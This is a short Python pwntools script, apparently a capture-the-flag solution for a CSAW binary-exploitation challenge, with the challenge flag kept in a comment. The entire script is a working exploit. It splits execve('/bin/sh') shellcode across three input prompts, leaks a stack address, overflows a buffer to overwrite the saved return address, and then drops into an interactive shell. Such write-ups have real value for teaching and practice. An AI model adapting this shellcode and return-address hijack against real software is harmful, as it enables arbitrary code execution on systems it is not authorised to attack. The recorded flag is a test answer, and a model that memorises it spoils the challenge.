#!/usr/bin/python

from pwn import *

with context.quiet:
    # flag{NONONODE_YOU_WRECKED_BRO}
    # p = remote('pwn.chal.csaw.io', 9005)
    p = process('./program')

    '''
    nasm -f bin -o sc exploit.asm
    ndisasm -b64 sc
    '''
    # this shellcode has 3 parts, and each part is being provided in a different place.
    shellcode = '\xb8\x3b\x00\x00\x00\xeb\x02\x90\x90\xeb\x1d\x5f\x48\x31\xf6\x48\x31\xd2\x0f\x05\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xe8\xde\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00'

    # last part is provided as the node 1 value which contains "/bin/sh"
    p.sendlineafter('(15 bytes) Text for node 1:  \n', shellcode[40:])

    # second part is provided as the node 2 value which load registers and invoke the syscall
    p.sendlineafter('(15 bytes) Text for node 2: \n', shellcode[8:20])

    # we retrieve the top of the stack, so we can figure out where to return to
    p.recvuntil('node.next: ')
    stack_top = int(p.recvuntil('\n').strip(), 16)

    p.sendlineafter('What are your initials?',
        # garbage
        'A' * 3 + \
        # saved rbp
        'B' * 8 + \
        # return address
        p64(stack_top) + \
        # first part of the shellcode
        shellcode[0:7]
    )

    p.interactive()

